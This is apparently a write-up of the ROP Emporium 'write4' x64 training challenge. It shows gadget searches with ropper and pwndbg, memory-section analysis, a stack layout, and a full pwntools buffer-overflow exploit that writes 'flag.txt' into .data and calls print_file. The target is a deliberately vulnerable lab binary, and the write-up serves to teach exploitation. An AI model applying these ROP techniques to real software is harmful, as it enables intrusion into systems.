ROP x64 Challenge 4.

Challenge 4

Once more into the breach with these rop exploits friends. We have a pretty simular situation to the 2nd challenge.

Important!
A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.

All we need to do is call the print_file function with the first argument being a pointer to a string containing “flag.txt”. The one problem is a complete lack of that string in the binary. I used strings and rabin2 to attempt to find them and found nothing.

Now considering this challenge is called write4 and it has a whole section on how to write to memory in the challenge description, I deduced I needed to write that string into memory. The challenge sudgests looking for something in the form mov [reg], reg so that’s what I did.


pwndbg> ropper -- --search "mov [???],???
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov [???],???

[INFO] File: /root/working/write4/write4_64/write4
0x0000000000400629: mov dword ptr [rsi], edi; ret; 
0x0000000000400628: mov qword ptr [r14], r15; ret; 

and look at that. I found 2 gadgets that might work. Now, I’d rather work with moving as much data at once which means using the r15 (8 bytes) rather then the edi (4 bytes), so that’s the one I looked for first.

pwndbg> ropper -- --search "pop r14"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r14

[INFO] File: /root/working/write4/write4_64/write4
0x0000000000400690: pop r14; pop r15; ret; 

This provides a perfect gadget to populate the write gadgets with whatever value we want.

The question now is where to write our string to the binary. So we are going to use the vmmap cmd to look at what parts of the memory is writable

Looking at the perms on parts of the code we see the following areas are able to be written to
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss

Note: the above is trimmed to only show the writable sections

The string is “flag.txt” which is 9 bytes long (including the null byte) which gets rid of a couple of the sections. So I chose the .data section of the binary to write into.

The last gadget we’ll need is something to control rdi for the parameter pass to the print_file

pwndbg> ropper -- --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: /root/working/write4/write4_64/write4
0x0000000000400693: pop rdi; ret; 

Finally let’s find the print_file function mentioned in the description.

disass print_file
Dump of assembler code for function print_file@plt:
   0x0000000000400510 <+0>:     jmp    QWORD PTR [rip+0x200b0a]        # 0x601020 <print_file@got.plt>
   0x0000000000400516 <+6>:     push   0x1
   0x000000000040051b <+11>:    jmp    0x4004f0
End of assembler dump.

Now with all of the information let’s craft our stack layout.

         | stack          |
         | -------------- |
32 bytes | start buffer   |
8  bytes | base pointer   | 
8  bytes | pop_r gadget   | # gadget to get values into r14 and r15
8  bytes | write loc      | # place location to write into r14
8  bytes | "flag.txt"     | # 1st 8 bytes of the string
8  bytes | write gadget   | # gadget to write into memory
8  bytes | pop_r gadget   | # do all of that again for the final null byte
8  bytes | "\x00"         | #     Note: bytes after may be init to null 
8  bytes | write loc + 8  | #           so you don't have to do this one
8  bytes | write gadget   |
8  bytes | pop_rdi gadget | # place location of the sring in rdi for 1st param
8  bytes | write loc      | 
8  bytes | print_file loc | # call function to win
8  bytes | -------------- |

Coded up this gives the following exploit.

#!/usr/bin/python3

from pwn import *

pop_gaget       = p64(0x0000000000400690)
write_gaget     = p64(0x0000000000400628)
pop_rdi         = p64(0x00400693)
write_loc       = 0x601028
print_file      = p64(0x00400510)
back_junk       = b"B" * 20

# The amount to fill the buffer
junk = b'A' * 0x20

# The 8 bytes to fill the new base pointer from the leave
new_bp = p32(0xc0deba5e)*2


"""
Place a string (1st arg) into the location
given by the 2nd arg. Note the 2nd arg should be 
packed
"""
def string_place(write_string, write_start):
        returnPayload = b""
        for i in range(0, len(write_string), 8):
                returnPayload += pop_gaget
                #destination
                returnPayload += p64( write_start+ (i))
                temp = write_string[i:i+8] 
                temp += b"\x00" * ( 8 - len(temp) )
                returnPayload += temp
                returnPayload += write_gaget

        return returnPayload

"""
Place the value for the first args of a function
"""
def first_arg(var):
        returnPayload = pop_rdi
        returnPayload += p64(var)
        return returnPayload


io = process('./write4')

# This is the vaddr of system
# First return to the location of the pop rdi
# 4   0x00400510 GLOBAL FUNC       print_file
#Fill up the buffer and the base pointer
payload = junk + new_bp

payload += string_place(b"flag.txt", write_loc)

# This is the vaddr of system
# First return to the location of the pop rdi
payload += first_arg(write_loc)
payload += print_file

payload += back_junk

print("The payload is:")
print(payload)
print("Payload size is:" + str(len(payload)))
input("Hit enter to apptempt exploit")

print(io.clean(0.5).decode("utf-8"))
io.send(payload)
input("exploit sent hit enter to end")
print(io.clean(0.5).decode("utf-8"))

sleep(1)

f = open('./payload', 'wb')
f.write(payload)
f.close()

Note: I started writing my exploits into files for easier debugging in gdb. Before I would run the exploit and then attach gdb for debugging with gdb -p $pid but now I can just do r < ./payload within gdb which is nice